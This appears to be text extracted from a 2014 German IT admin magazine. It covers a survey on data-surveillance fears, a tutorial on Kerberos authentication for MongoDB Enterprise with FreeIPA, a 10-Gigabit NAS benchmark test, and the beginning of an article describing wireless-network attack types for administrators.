Laut der Befragung fühlt sich fast die Hälfte (49 Prozent) der 

Internetnutzer von der Ausspähung ihrer persönlichen Daten 

durch staatliche Stellen bedroht. Im Juli des laufenden Jahres 

waren es erst 39 Prozent. Damit übertrifft die Sorge vor der 

Bespitzelung durch den Staat inzwischen sogar die Angst vor 

Cyber-Kriminellen. 46 Prozent der befragten Internetnutzer 

fühlen sich von einer möglichen Ausspähung ihrer Daten durch 

Kriminelle bedroht. Im Juli waren es ebenfalls 46 Prozent. 

Immerhin 38 Prozent fürchten die Ausspähung ihrer Daten durch 

Unternehmen (Juli: 34 Prozent). Nur 15 Prozent der Befragten 

sagen, dass sie sich im Internet überhaupt nicht bedroht fühlen 

(Juli: 18 Prozent). 

Weiter gelitten hat auch das Vertrauen der Bürger, wenn es um 

den Umgang sowohl des Staates als auch der Wirtschaft mit 

ihren persönlichen Daten geht. Laut Umfrage misstrauen 68 Prozent 

der Internetnutzer Staat und Behörden beim Umgang mit 

ihren persönlichen Daten im Web. Im Juli waren 58 Prozent und 

im Jahr 2011 war es mit 40 Prozent sogar noch eine Minderheit, 

die staatlichen Stellen in puncto Datenschutz misstraute. 

Nicht weniger schlecht ist das Ergebnis für die Wirtschaft. Immerhin 

64 Prozent der befragten Internetnutzer misstrauen der 

„Wirtschaft allgemein“, wenn es um den Umgang mit ihren Daten 

im Netz geht. 

Anzeige

Copyright, 123RF 

MongoDB und FreeIPA im Einklang 

Ticket-Dienst 

dvarg, 123RF 

MongoDB und FreeIPA sind zwei beliebte OpenSource-Tools, die beide schon einmal Thema in der Admin- 

Story waren. Diesmal geht es darum, wie sich die beiden Tools miteinander verbinden lassen. Thorsten Scherf 

Die NoSQL-Datenbank MongoDB ist 

recht großzügig, was den Zugriff auf 

die Datenbanken und den darin gespeicherten 

Collections betrifft. Von 

Haus aus hat hier nämlich jeder Zugriff. 

Natürlich besteht die Möglichkeit, diesen 

Zugriff einzuschränken, sodass ein 

Benutzer sich mittels Namen und Passwort 

authentifizieren muss. MongoDB 

greift hierfür auf die System-Collection 

»system.users« zurück. Über die Methode 

»db.addUser()« füllt man die 

Datenbank dann mit den gewünschten 

Account-Daten und Zugriffsrechten. 

Benutzer sind hierbei für jede ge- 

wünschte Datenbank zu definieren. 

Dies könnte für die Datenbank »football« 

wie folgt aussehen: 

# mongo localhost/football 

db.addUser( { user: "tscherf", 

pwd: "redhat", 

roles: [ "readWrite",U 

"dbAdmin" ] 

} ) 

Dieser Aufruf erzeugt ein Benutzerobjekt 

für den Zugriff auf die Datenbank 

»football«. Das Passwort wird dabei als 

SHA256-Hash hinterlegt. Soll der gleiche 

Benutzer auch Zugriff auf eine andere 

Datenbank bekommen, muss man 

den Benutzer auch dort definieren. 

Vorsicht 

Die Authentifizierung und Autorisierung 

eines Benutzers nimmt MongoDB stets 

auf Datenbankebene vor. 

Kommt das gleiche Passwort zum 

Einsatz, ist auch der Passwort-Hash 

für die einzelnen Datenbanken identisch. 

Dies sollte man im Hinterkopf 

behalten, wenn man mit der Challenge- 

Response basierten Authentifizierung 

auf dem Datenbank-Server arbeitet. Ist 

n Listing 1: MongoDB mit Passwort 

01 # mongo rhel/football ‐u tscherf ‐p redhat 

02 connecting to: rhel/football 

03 > db.clubs.find({Mitglieder: {"$gt": 100000}}) 

04 { "_id" : ObjectId("5295cddd140bf9a7a5cbfee9"), "Name" : "FC Schalke 04", "Farben" : "Blauweiß", "Mitglieder" : 111000, "Anschrift" : [ 

{ "Strasse" : "Ernst‐Kuzorra‐Weg 1", "PLZ" : 45891, "Stadt" : "Gelsenkirchen" } ] } 


Login 

Admin-Story 

17 

der Password-Hash einmal geknackt, 

bekommen Angreifer Zugriff auf alle 

Datenbanken eines Benutzers. Es wird 

daher empfohlen, Applikationen mit 

unterschiedlichen Account-Namen und 

Passwörtern auszustatten. 

Der authentifizierte Zugriff auf den 

Server erfolgt mithilfe des Kommandozeilentools 

»mongo«, das voraussetzt, 

dass der Server zuvor mit der Option 

»‐‐auth« gestartet wurde (Listing 1). Die 

Option ist in der Konfigurationsdatei 

»/etc/mongod.conf« von Haus aus nicht 

gesetzt. 

MongoDB Enterprise 

In der Enterprise-Edition von MongoDB 

[1] steht neben der Challenge-Response-basierten 

Authentifizierung auch 

die Kerberos-Methode zur Verfügung. 

Das ermöglicht, für die Anmeldung bei 

MongoDB auf Benutzerkonten eines 

bereits bestehenden Identity-Management-Systems 

zurückzugreifen. 

In »system.users« ist dann nur noch 

zu definieren, welche Rechte die 

Kerberos-Benutzer für eine bestimmte 

Datenbank haben. Die Rechte werden 

mithilfe von Rollen abgebildet. Statt 

des Benutzernamens muss bei der Kerberos-basierten 

Authentifizierung das 

Kerberos-Principal des Benutzers oder 

des Services angeben werden. 

In meinem Beispiel greife ich auf das 

Identity-Management-Framework Free- 

IPA zurück. Es enthält neben einem 

LDAP-Server auch einen Kerberos- 

Server, der zur Authentifizierung 

der MongoDB-Benutzer zum Einsatz 

kommen soll. Mehr Informationen zur 

FreeIPA-Konfiguration sind in meinem 

ADMIN-Artikel [2] zu finden. 

Damit MongoDB seine Benutzer mittels 

einer externen Quelle – dem Kerberos- 

Server – authentifiziert, müssen die 

folgenden Optionen in der Konfigurationsdatei 

des Datenbank-Servers 

stehen: 

auth = true 

setParameter=authenticationU 

Mechanisms=GSSAPI 

Die erste Option aktiviert die Authentifizierung, 

die zweite definiert die 

Kerberos-Methode. Fehlt die Methode, 

verwendet MongoDB die zuvor besprochene 

Challenge-Response-Variante. 

An der Stelle sei noch einmal der 

Hinweis erlaubt, dass die Authentifizierungsvariante 

mittels GSSAPI lediglich 

in der Enterprise-Edition möglich ist, 

die Community-Edition gibt an dieser 

n Listing 2: Server-Start 

01 # env KRB5_KTNAME=/opt/mongodb/mongodb.keytab \ 

02 /opt/mongodb/bin/mongod ‐‐dbpath /opt/ 

mongodb/data \ 

03 ‐‐fork ‐‐logpath /opt/mongodb/logs/mongod. 

log \ 

04 ‐‐smallfiles \ 

05 ‐‐auth ‐‐setParameter 

authenticationMechanisms=GSSAPI

18 

Login 

Admin-Story 

n Listing 3: Kerberos-Principal 

01 # mongo localhost/football 

02 db.addUser( { 

03 "user": "tscherf@VIRT.TUXGEEK. 

DE", 

04 roles: [ "readWrite", "dbAdmin" ] 

05 "userSource" : "$external" 

06 } ) 

n Listing 4: Verbindung per Kerberos 

01 # /opt/mongodb/bin/mongo rhel.virt.tuxgeek.de/ 

football \ 

02 ‐‐authenticationMechanism=GSSAPI \ 

03 ‐‐authenticationDatabase='$external' \ 

04 ‐‐username tscherf@VIRT.TUXGEEK.DE 

n Listing 5: Service-Ticket 

01 # klist 

02 Ticket cache: FILE:/tmp/krb5cc_0 

03 Default principal: tscherf@VIRT.TUXGEEK.DE 

04 

05 Valid starting Expires Service 

principal 

06 11/27/13 15:19:00 11/28/13 15:18:09 krbtgt/ 

VIRT.TUXGEEK.DE@VIRT.TUXGEEK.DE 

07 11/27/13 15:19:23 11/28/13 15:18:09 mongodb/ 

rhel.virt.tuxgeek.de@VIRT.TUXGEEK.DE 

n Info 





[1] MongoDB-Enterprise: [https:// www. mongodb. 

com/ products/ mongodb‐enterprise] 

[2] Thorsten Scherf, Identity-Management mit 

FreeIPA 2: [http:// www. admin‐magazin. de/ 

Online‐Artikel/ Technical‐Review/ Identity‐Ma 

nagement‐mit‐FreeIPA‐2] 

n Autor 

Thorsten Scherf arbeitet als Principal Consultant für 

Red Hat EMEA. Er ist oft als Vortragender auf Konferenzen 

anzutreffen. Wenn ihm neben der Arbeit und 

Familie noch Zeit bleibt, nimmt er gerne an Marathonläufen 

teil. 

Stelle einen Fehler aus. 

Die Enterprise-Edition 

kann jedoch in einer 

zeitlich und funktional 

unlimitierten Evaluierungsversion 

von der 

MongoDB-Enterprise- 

Website heruntergeladen 

werden [1]. 

Der Datenbank-Server 

muss Teil der FreeIPA- 

Domäne sein, damit 

der Zugriff funktioniert. 

Sollte dies nicht bereits 

der Fall sein, nimmt ein 

Aufruf von »ipa‐client‐install« 

den Server in die Domäne auf. Im 

Anschluss muss man für den MongoDB- 

Service ein Kerberos-Principal auf dem 

FreeIPA-System anlegen. Hierbei hilft 

das Tool »ipa«: 

# kinit admin 

# ipa service‐add mongodb/U 

fedora.virt.tuxgeek.de 

Im Anschluss ist die Keytab-Datei des 

Services auf das Datenbank-System 

zu übertragen, am einfachsten mit 

»ipa‐getkeytab«: 

# ipa‐getkeytab ‐s ipa1.virt.U 

tuxgeek.de ‐p mongodb/fedora.virt.U 

tuxgeek.de ‐k /etc/mongodb.keytab 

Die Keytab-Datei sollte dabei dem Benutzer 

»mongod« gehören und nur für 

ihn lesbar sein. Alternativ besteht die 

Möglichkeit, die Keytab-Datei direkt 

vom Datenbank-System aus zu generieren. 

Das setzt aber voraus, dass das 

Tool »ipa‐admintools« installiert ist. 

MongoDB muss nun natürlich noch wissen, 

welche Keytab-Datei zum Einsatz 

kommen soll. Diese Information übergebe 

ich mittels »KRB5_KTNAME=/etc/ 

mongodb.keytab« in der Datei 

»/etc/sysconfig/mongod«. Wer keine 

paketierte Version von MongoDB besitzt, 

kann den Server auch mit allen 

notwendigen Optionen von der Kommandozeile 

aus starten (Listing 2). 

Benutzereinträge in der Collection 

»system.users« können nun einen Kerberos-Principal 

enthalten, um zu bestimmen, 

welcher Benutzer Zugriff auf 

Abbildung 1: Zur Administration der MongoDB gibt es 

auch einige GUIs wie etwa Robomongo. 

eine bestimmte Datenbank bekommt 

(Listing 3). 

Um nun einen Kerberos-authentifizierten 

Zugriff auf die Mongo-Shell zu 

erhalten, muss man zuerst ein entsprechendes 

Ticket-Granting-Ticket (TGT) 

vom Kerberos-Server anfordern. Dies 

geschieht entweder beim Login auf 

einem System durch ein entsprechendes 

PAM-Modul oder aber ganz einfach 

mittels »kinit«. Danach kann man dann 

die Mongo-Client-Anwendung mit allen 

notwendigen Optionen aufrufen, um 

sich dann mit der gewünschten Datenbank 

verbinden zu lassen (Listing 4). 

Der Aufruf von »klist« bestätigt schließlich, 

dass der Benutzer nun nicht nur 

über einen Kerberos-TGT verfügt, sondern 

ebenfalls ein Service-Ticket für die 

Datenbank erhalten hat (Listing 5). 

Anstatt die Mongo-Shell mit allen notwendigen 

Parametern aufzurufen, lässt 

sich eine Kerberos-authentifizierte Verbindung 

zu einer Datenbank auch mit 

dem folgenden Statement aus der Shell 

heraus aufrufen: 

use $external 

db.auth( { mechanism: "GSSAPI", U 

user: "tscherf@VIRT.TUXGEEK.DE" } ) 

Wer Lust hat, kann an dieser Stelle 

auch noch X.509-Zertifikate für seinen 

MongoDB-Server und sämtliche Clients 

vom FreeIPA-Framework ausstellen 

lassen. Hiermit lässt sich dann die Verbindung 

zwischen Server und Client 

verschlüsseln. Alle hierfür notwendigen 

Tools sind dank des FreeIPA-Frameworks 

bereits vorhanden. (ofr) n 


10-GBit-NAS-Setup im Test 

Ohne Tempolimit 

lightwise, 123RF 

Vor zehn Jahren noch unbezahlbar, erobern 

sich 10-GBit-Netze langsam auch in kleineren 

Unternehmen ihren Platz. Das ADMIN-Magazin 

hat ein Setup für Preisbewusste getestet. 

Jens-Christoph Brendel 

Die Komponenten der Computertechnik 

entwickeln sich oft mit einem 

Tempo, das jede Vorstellung sprengt. 

Der erste 4-Bit-Mikroprozessor, Intels 

4004, bestand 1971 aus ganzen 2300 

Transistoren. Heute, rund 40 Jahre später, 

kommen dagegen auf Intel-Core- 

CPUs fast anderthalb Milliarden unter, 

Abbildung 1: Maximale Transfergeschwindigkeiten verschiedener 

Busse und Netze. 

über 600 000mal so viele. Könnte man 

selbst das höchste Gebäude der Welt in 

demselben Maß verkleinern wie diese 

Transistoren, man müsste es nicht mit 

der Lupe suchen, man bräuchte ein gutes 

Mikroskop. 

Diese rasante Entwicklung hat allerdings 

ein Problem: Sie vollzieht sich 

nicht gleichmäßig für 

alle Kernbestandteile 

eines Rechners. 

Das Problem 

Etwa zur selben Zeit 

wie die ersten 8-Bit- 

Prozessoren, die auf 

den 4004 folgten, 

startete IBM das 

Projekt Winchester, 

dessen Name lange 

als Synonym für Festplatten 

galt. Das erste 

Winchester-Laufwerk, 

das IBM 3340, fasste 

35 oder 70 MByte und 

konnte Daten mit einer 

Zugriffsgeschwindigkeit von 25 Millisekunden 

bereitstellen. Die Kapazität 

hat sich im Vergleich zu heute somit 

nur um einen rund zehnmal kleineren 

Faktor gesteigert als die Transistorenanzahl. 

Noch sehr viel schlechter sieht 

es bei der Zugriffszeit aus: Weil sich die 

Rotationsgeschwindigkeit der Platten 

aus physikalischen Gründen nicht beliebig 

erhöhen lässt, sank die mittlere 

Zugriffszeit in den letzten vier Jahrzehnten 

gerade mal auf rund ein Zehntel 

der historischen Ausgangsmarke. 

Den Ausweg aus diesem Dilemma weisen 

SSDs. Weil sie ohne mechanische 

Teile auskommen, lassen sich mit 

ihnen Zugriffszeiten von 0,08 bis 0,16 

ms realisieren. Das ist zwar ebenfalls 

noch sehr weit entfernt von Verhältnis 

der Transistoren, aber immerhin ist die 

benötigte Zeit rund 30mal kürzer als 

bei einer modernen Platte. Damit sind 

Transferleistungen beim sequenziellen 

Lesen von rund 500 MByte/s möglich. 

Doch schon ergibt sich das nächste 

Problem: Für einen SSD-bestückten 


Netzwerk 

10-GBit-NAS 

21 

Fileserver wäre nun das Gigabit-Netzwerk 

zu langsam, dass ebenfalls nicht 

ganz Schritt gehalten hat. Ein aktuelles 

Gigabit-Netz ist gerade mal 100mal so 

schnell wie die ersten Ethernet-Standards 

(10Base5/10Base2/10Base-T) 

mit ihren 10 MBit/s. Inzwischen kann 

man sich mit 10-GBit-Ethernet behelfen 

(und 40 sowie 100 GBit stehen vor der 

Tür), aber weil man immer wieder eine 

Lücke reißt, sobald man eine stopft, 

muss man dabei dann schon auf die 

Performance der Bus-Systeme schauen 

(Abbildung 1) … 

Standards 

10-GBit-Ethernet wird im über 500 

Seiten starken Standard IEEE 802.3ae- 

2002 definiert [1], der im Juni 2002 

verabschiedet wurde. Zuerst bezog er 

sich nur auf verschiedene Glasfaserverbindungen 

mit Längen ab 300 Meter 

und bis zu 40 Kilometer (Tabelle 1). 

Zwei Jahre später, 2004 (802.3ak-2004) 

Abbildung 2: Das NAS-Modell RS 10613 XS+ der Firma 

Synology, mit dem wir das 10-GBit-Setup getestet 

haben. 

n Tabelle 1: Physikalische Schnittstellen in 802.3ae 

Typ Wellenlänge (nm) max. Distanz (m) Anwendung 

10GBASE-LX4 1310 Multimode: 300, Mono: 10 000 kaum benutzt 

10GBASE-SR 850 Multimode: 82, Mono: 300 Rechenzentren 

10GBASE-LR 1310 Mono: 10 000 Metro Campus 

10GBASE-ER 1550 Mono: 40 000 Metro WAN 

10GBASE-SW 850 Mono: 300 Gebäude, vertikal 

10GBASE-LW 1310 Mono: 10 000 Rechenzentren/Backbone 

10GBASE-EW 1550 Mono: 40 000 Rechenzentren/Backbone

22 

Netzwerk 

10-GBit-NAS 

Abbildung 3: Der Performance-Monitor, der im Betriebssystem der 

Synology-RackStation integriert ist. 

Abbildung 5: Eine einfache GUI hilft beim Administrieren des kleinen 

10-GBit-Switches. 

[2], kamen auch Kupferverbindungen 

als physikalische Interfaces hinzu. 

Zunächst über Kabel, wie sie auch 

Infiniband benutzt 10GBASE-CX4 (bis 

15m) beziehungsweise über SFP+- 

Verbindungen. Im Jahr 2006 erweiterte 

sich das Angebot um 10GBASE-T (mit 

der Norm IEEE 802.3an-2006) [3], das 

die Verwendung von Unshielded- 

Twisted-Pair-Kabeln mit RJ45-Steckern 

erlaubt, wie sie prinzipiell auch bei den 

Ethernet-Vorläufern im Einsatz waren. 

Mit Kabeln der Kategorie 6A oder besser 

sind damit Entfernungen bis zu 100 

Metern möglich. 

Alle 10-GBit-Spielarten unterstützen 

übrigens nur noch Vollduplex-Punktzu-Punkt-Verbindungen 

und Switche, 

Halbduplex-Verbindungen und Hubs 

gibt es hier nicht mehr. 

Adaption 

Zu den Treibern bei der Durchsetzung 

des 10-GBit-Standards zählen neben 

den stetig wachsenden Datenvolumen 

und der Herausforderung durch immer 

schnellere Prozessoren vor allem Virtualisierung, 

Cloud Computing, Bildverarbeitung 

und Netzwerkspeicher. Gerade 

die aktuellen Multicore-Prozessoren 

Abbildung 4: Der 10-GBit-Switch von Netgear, speziell 

entwickelt für mittlere und kleine Unternehmen. 

können ein einzelnes Gigabit-Interface 

schnell zum I/O-Flaschenhals werden 

lassen. In diesem Fall leidet die Effizienz 

des gesamten Systems. Im Falle der 

Virtualisierung teilen sich viele virtuelle 

Maschinen die Netzwerkbandbreite 

ihres Hosts und können so langsame 

Verbindungen leicht überfordern. Bei 

der Bildverabeitung sind ebenfalls riesige 

Datenmengen im Spiel. Allein die 

bildgebenden Verfahren der modernen 

Medizin verbrauchen einer Schätzung 

zufolge 30 Prozent des weltweiten Storage. 

Und schließlich liegt beim Netzwerkspeicher 

selber das Problem auf 

der Hand – ohne schnelle Netze sind 

große Kapazitäten und Flash-Speichermedien 

nicht zu handhaben. 

Dennoch vollzog sich die Einführung 

der 10-GBit-Technik eher zögerlich. 

Das lag sicher auch an den anfangs 

sehr hohen Kosten: Zum Zeitpunkt der 

Verabschiedung des ersten Standards 

überstiegen die Kosten 10 000 Dollar 

pro Port. Unter diesen Bedingungen 

kam nur der Einsatz in ausgewählten 

Netzknotenpunkten infrage. Inzwischen 

sind 10-GBit-Netzwerkkarten ab 

zirka 250 Euro zu haben und auch kleinere 

Switche kann man heute schon 

ab etwa 700 Euro bekommen. Solches, 

erst in letzter Zeit verfügbares Equipment 

– mit dem auch ein Mittelständler 

diese Technik nutzen kann – hat das 

ADMIN-Magazin in diesem Test unter 

die Lupe genommen. 

Testaufbau 

Für unseren Test haben wir ein 10-GBit- 

Setup gewählt, das aus einem Standardserver 

unter Windows Server 2008 

R2 mit zwei Quadcore-CPUs und 16 

GByte RAM bestand, in den wir eine 10-. 

GBit-Karte von Intel X540-T2 [4] eingebaut 

hatten, die man ab etwa 450 Euro 

bekommen kann. Die Karte verfügt 

über zwei Ports für Twisted-Pair-Kupferkabel. 

Mit Kabeln der Kateorie 6 sind 

55 Meter, mit Kabeln der Kategorie 6A 

bis 100 Meter möglich. Vorhandene Cat- 

5e-Kabel sind für kurze Distanzen prinzipiell 

ebenfalls verwendbar, aber nicht 

offiziell supported. Mit diesen Kabeln 

wird nur maximal Gigabit-Ethernet bis 

100 Meter unterstützt, was der Adapter 

selbstverständlich auch beherrscht. 

Das 10-GBit-Interface lässt sich unter 

diversen Windows-Versionen, Linux 

(RHEL 5/6, SLES 10/11), FreeBSD 9 und 

VMware ESX/ESXi einsetzen. 

Als Gegenstelle benutzen wir ein NAS- 

System der Firma Synology [5], Modell 

RS 10613 XS+ (Abbildung 2), das ebenfalls 

mit einem 10-GBit-Intel-Adapter 

ausgestattet war. Es verfügt über 10 

Platteneinschübe, mit denen es sich 

bis auf 424 TByte ausbauen lässt. Bei 

Bedarf kann man die Kapazität über 

Erweiterungsgehäuse allerdings bis auf 

106 Platten erhöhen. Ein optionaler 

SSD-Cache war bei unserem Modell 


Netzwerk 

10-GBit-NAS 

23 

nicht an Bord. Das Betriebssystem 

beherrscht Verschlüsselung (AES) 

und verfügt über HA- und Disaster- 

Recovery-Features. Einstellen lassen 

sich die RAID-Modi Einzelplatte, JBOD, 

RAID 0/1/5/6/10. Neben Freigaben für 

Windows- und Mac-Clients kann man 

auch iSCSI-LUNs einrichten. Unter 

Windows bildet in diesem Fall der Microsoft-iSCSI-Initiator 

(Abbildung 7) das 

Gegenstück zum iSCSI-Target im NAS- 

Betriebssystem. Wir haben das NAS 

sowohl mit Festplatten (WD 3200BEKT) 

– mit denen man eine 10-GBit-Verbindung 

allerdings nur schwer auslasten 

kann – als auch mit verschiedenen 

einzelnen SSDs von Seagate und Intel 

betrieben. Dabei nutzten wir sowohl 

CIFS-Freigaben wie auch iSCSI, beides 

mit NTFS-Filesystem. Performance und 

Ressourcenausnutzung der Synology- 

RackStation lassen sich im Betrieb live 

verfolgen (Abbildung 3). 

Zwischen Rechner und NAS haben wir 

einen erst kürzlich neu vorgestellten 

10-GBit-Switch ProSafe XS70BE [6] der 

Firma Netgear platziert (Abbildung 

4), der speziell für kleinere Unternehmen 

entwickelt wurde. Der Switch 

verfügt über 8 Ports für herkömmliche 

RJ45-Stecker und Kupfer-Twisted- 

Pair-Kabel (10GBASE-T) und einen 

Fiber-Combo-Port mit SFP+-Konnektor. 

Die Software offeriert eine Reihe interessanter 

Layer2-Features wie VLAN, 

Abbildung 7: Der Microsoft-iSCSI-Initiator 

für unkomplizierte iSCSI-Verbindungen. 

QoS, Port Trunking 

und Rate Limiting. 

Ein Management-Tool 

bietet unter Windows 

Unterstützung für 

zumindest einfache 

Administrationsaufgaben 

(Abbildung 5). An 

die Fähigkeiten großer 

gemanagter Switche 

kommt es aber nicht 

heran. 

Die Resultate 

Als Benchmark-Software 

verwendeten wir 

unter Windows das 

bewährte iometer [7]. 

Wir skalierten die Last 

stufenweise von einem 

bis zu 30 Worker-Prozessen, von denen 

jeder mit 100 Prozent sequenziellem 

Lesen in 4K-Blöcken, ausgerichtet an 

4K-Grenzen, beschäftigt war. 

Alle Durchläufe, die beispielhaft Abbildung 

6 zeigt, lasen von einer einzelnen 

SSD. Liefen die Zugriffe – egal ob CIFS 

oder iSCSI – über eine 1-GBit-Verbindung, 

so limitierte das Netzwerk den 

möglichen Durchsatz auf die maximal 

rund 125 MBit/s, die damit übertragbar 

sind. 

Die 10-GBit-Verbindung erlaubt es dagegen, 

die Möglichkeiten der SSD besser 

auszuschöpfen. Weil der maximale 

Durchsatz der getesteten SSD von rund 

500 MByte/s nur unter optimalen Bedingungen 

zu erreichen ist, liegen die 

gemessenen Werte nur bei der Hälfte. 

Das ergibt zum einen ein vermutlich 

praxisnäheres Bild als in speziell getunten 

Umgebungen für Hersteller-Benchmarks 

und zeigt andererseits, dass da 

noch Reserven sind, die – gegebenenfalls 

durch Trunkieren von mehreren 

10-GBit-Ports – auch RAID-Gruppen aus 

SSDs unterstützen könnten. Synology 

selbst will in einem voll mit SSDs bestückten 

NAS dieser Bauart mit einem 

RAID5 aus allen SSDs und mit vierfach 

trunkierten Ethernet-Ports über 3000 

MBytes/s beim Lesen gemessen haben. 

Fazit 

Große RAID-Gruppen mit Caches, Hybridplatten 

oder reine SSDs bringen 

Abbildung 6: Die Testresultate: Sequenzielles Lesen von einem SSD- 

Volume via CIFS und iSCSI mit 1 und 10 GBit/s. 

mehr Daten auf die Leitung, als eine 

normale Gigabit-Verbindung verkraften 

kann. Das übergeorderte Netzwerk 

wirkt in diesem Fall als Bremse, worunter 

schließlich die Effizienz des Gesamtsystems 

leidet. Mit 10-GBit-Netzen, die 

gerade in letzter Zeit auch für kleinere 

Unternehmen erschwinglich geworden 

sind, lässt sich dieser Engpass erfolgreich 

umschiffen. Dank 10GBase-T 

können dabei sogar ähnliche Kabel 

und Switche verwendet werden, wie sie 

schon bisher im Einsatz waren. n 

n Info 





[1] 10-GBit-Standard: [http:// ieeexplore. ieee. 

org/ xpl/ mostRecentIssue. jsp? reload=true& 

punumber=8064] 

[2] 10 GBit auf Kupfer: [http:// grouper. ieee. org/ 

groups/ 802/ 3/ ak/] 

[3] 10GBASE-T: [http:// standards. ieee. org/ 

findstds/ standard/ 802. 3an‐2006. html] 

[4] X540-T2: [http:// www. intel. com/ p/ de_DE/ 

support/ highlights/ network/ ecna‐x540‐t2] 

[5] RS 10613 XS+: [http:// www. synology. com/ 

de‐de/ products/ overview/ RS10613xs%2B] 

[6] Netgear ProSafe XS70BE: [http:// www. 

netgear. de/ products/ business/ switches/ 

prosafe‐plus‐switches/ XS708E. aspx#] 

[7] iometer: [http:// www. iometer. org] 


Admin 

Ausgabe 02-2014

koi88, 123RF 

Schwachstellen drahtloser Netzwerke ausmerzen 

Sicherungen 

Allzu sorglos eingesetzt, können Wireless-Netze zum Einfallstor ins Unternehmensnetzwerk werden. Wir 

zeigen, welche Konsequenzen bei einem Angriff von Kriminellen drohen und was IT-Administratoren bei 

der Nutzung von WLAN und Co. hinsichtlich der IT-Sicherheit im Hinterkopf haben sollten. Christian Funk 

Einer Kaspersky-Umfrage aus dem 

Jahr 2013 [1] zufolge, fielen 9 Prozent 

der befragten Unternehmen gezielten 

Attacken auf das Unternehmensnetzwerk 

zum Opfer. Solche Angriffe können 

enorme Schäden verursachen, die 

entsprechend der Kaspersky-Studie 

von Großunternehmen mit durchschnittlich 

1,8 Millionen Euro beziffert 

wurden. Kleine und mittlere Unternehmen 

kostet eine gezielte Attacke im 

Schnitt immer noch 70 000 Euro. 

Zielgerichtete Angriffe erfolgen meist 

über sogenanntes Spear-Phishing – 

also über eine gezielte Phishing-Attacke 

auf einen Mitarbeiter. Zum Einfallstor 

ins Unternehmensnetz können dabei 

auch drahtlose Netzwerke werden. 

Trotz etlicher Vorteile müssen bei ihrem 

Einsatz immer auch die Schwachpunkte 

betrachtet werden. Zu den 

möglichen Folgen gehören Datendieb- 

stahl, Malware-Infektionen, Netzwerk- 

Lücken und rechtliche Konsequenzen. 

Aus Perspektive der IT-Sicherheit sollten 

die folgenden Schwachstellen bei 

der Nutzung drahtloser Netzwerke besonders 

im Blick sein: 

n Man-in-the-Middle-Attacke, 

n Sniffing-Angriff, 

n Lücke „Netzwerkfreigabe von Nutzer 

aktiviert“. 

Der Mann in der Mitte 

Beim Man-in-the-Middle-Angriff (MitM) 

steht der Angreifer zwischen den beiden 

Kommunikationspartnern. Er hat 

mit seinem System vollständige Kontrolle 

über den Datenverkehr zwischen 

den Netzwerkteilnehmern und kann die 

Informationen nach Belieben einsehen 

und sogar manipulieren. Der Angreifer 

täuscht den Kommunikationspartnern 

vor, das jeweilige Gegenüber zu sein. 

Bei drahtlosen Netzwerken existieren 

mehrere MitM-Szenarien. Beim klassischen 

Beispiel erfolgt der Angriff über 

einen „rogue“ – also einen böswilligen 

– Accesspoint. Die Umleitung eines 

Opfers auf eine unverschlüsselte Seite 

ist möglich, indem SSL deaktiviert wird. 

Zielgerichtete Attacken auf Personen 

können einem ähnlichen Schema folgen. 

Das anvisierte Opfer wird auf eine 

Webseite umgeleitet, auf der dann der 

Rechner gezielt per Drive-by-Download 

infiziert wird. 

Wie könnte ein Man-in-the-Middle- 

Angriff aussehen? Kriminelle könnten 

einen „Rogue-Accesspoint“ als freies 

WLAN-Netz an einem öffentlichen Ort 

anbieten, beispielsweise im Hotel, in 

einem Café oder am Flughafen. Wählt 

sich ein Nutzer dort ein, können die Kriminellen 

den kompletten Datenverkehr 

mitlesen und manipulieren. Um ver- 



Mobile Sicherheit 

25 

schlüsselte Daten einsehen zu können, 

sind weitere Eingriffe nötig, die unten 

näher beschrieben werden. 

Darüber hinaus können Nutzer eines 

feindlichen WLAN-Netzes auf Phishing- 

Seiten weitergeleitet werden. Diese 

Methode kann gezielt und auch automatisiert 

eingesetzt werden. Ruft ein 

User die Seite eines Bezahldienstes wie 

Paypal auf, wird vom Accesspoint eine 

Weiterleitung auf eine täuschend echte 

Phishing-Seite benutzt, die ebenfalls 

von Kriminellen betrieben wird. Administratoren 

sollten daher die Nutzung 

öffentlicher WLAN-Netze durch Firmengeräte 

immer kritisch sehen. 

MitM-Angriffe müssen allerdings nicht 

immer über einen Rogue-Accesspoint 

erfolgen. Auch ein WLAN-Nutzer mit 

genügend krimineller Energie kann den 

Datenverkehr in einem WLAN-Netzwerk 

manipulieren. Dabei wird per SSL- 

Stripping SSL deaktiviert und damit die 

Webseiten-basierte Verschlüsselung 

aufgehoben. So können auch Login- 

Daten abgegriffen werden. 

Vorsicht vor Schnüfflern 

Wireless-Netze sind für Sniffing-Attacken 

besonders anfällig. Das Sniffing ist 

hier leicht zu bewerkstelligen, weil über 

WLAN übertragene Daten für jeden 

Rechner sichtbar sind. Mit der richtigen 

Software können diese Informationen 

problemlos aufgezeichnet werden. Ob 

die Informationen dann lesbar sind 

oder nicht, hängt allerdings von der 

Verschlüsselung ab. 

Webseiten werden meist über SSL- 

Protokolle verschlüsselt. Um SSL-verschlüsselte 

Daten sichtbar zu machen, 

haben Angreifer zwei Möglichkeiten: 

Dem Opferrechner wird ein gefälschtes 

Zertifikat präsentiert, der Anwender 

nickt in Unwissenheit die Warnung 

ab und der Angreifer ist als Man-In- 

The-Middle im Netzwerk. Alternativ 

können Kriminelle Netzwerk-Traffic so 

manipulieren, dass durch sogenanntes 

SSL-Stripping keine Verschlüsselung 

stattfindet. Netzwerk-Nutzer bemerken 

dies daran, dass sie in der Adressleiste 

des Browsers kein Schlosssymbol und 

nur »http« statt »https« sehen. Doch 

nur wenige Anwender überprüfen dieses 

Merkmal. 

Die bei WLANs am häufigsten genutzten 

Verschlüsselungstypen sind WPA und 

WEP. Letzteres gilt jedoch als veraltet 

und unsicher. So gibt es für WEP fertige 

Toolsets, die ein so gesichertes WLAN 

in weniger als 60 Sekunden knacken 

können – stetigen Datenverkehr vorausgesetzt. 

WPA, insbesondere WPA2 

sind sicher, sofern das Passwort stark 

genug ist. 

Bisher haben wir nur Angriffe auf Surfer 

betrachtet. Jedoch sind auch Anwendungen 

wie etwa Chat, FTP oder E-Mail, 

die über ein drahtloses Netzwerk verwendet 

werden, anfällig für Attacken. 

Die damit verknüpften Programme

26 


Mobile Sicherheit 

von innen scannen und interessante 

Ziele auf Schwachstellen abtasten. Der 

Zugang zum Gebäude wird dabei über 

Social Engineering bewerkstelligt. Der 

Angreifer gibt beispielsweise vor, ein 

Dienstleister zu sein und die Klimageräte, 

Sanitäranlagen oder auch die 

Kaffeemaschine zu reparieren. Strikte 

Zugangskontrollen schützen vor dieser 

Angriffsform. 

Abbildung 1: Die häufigsten Bedrohungen für Unternehmen nach einer Kaspersky-Studie. 

n Info 

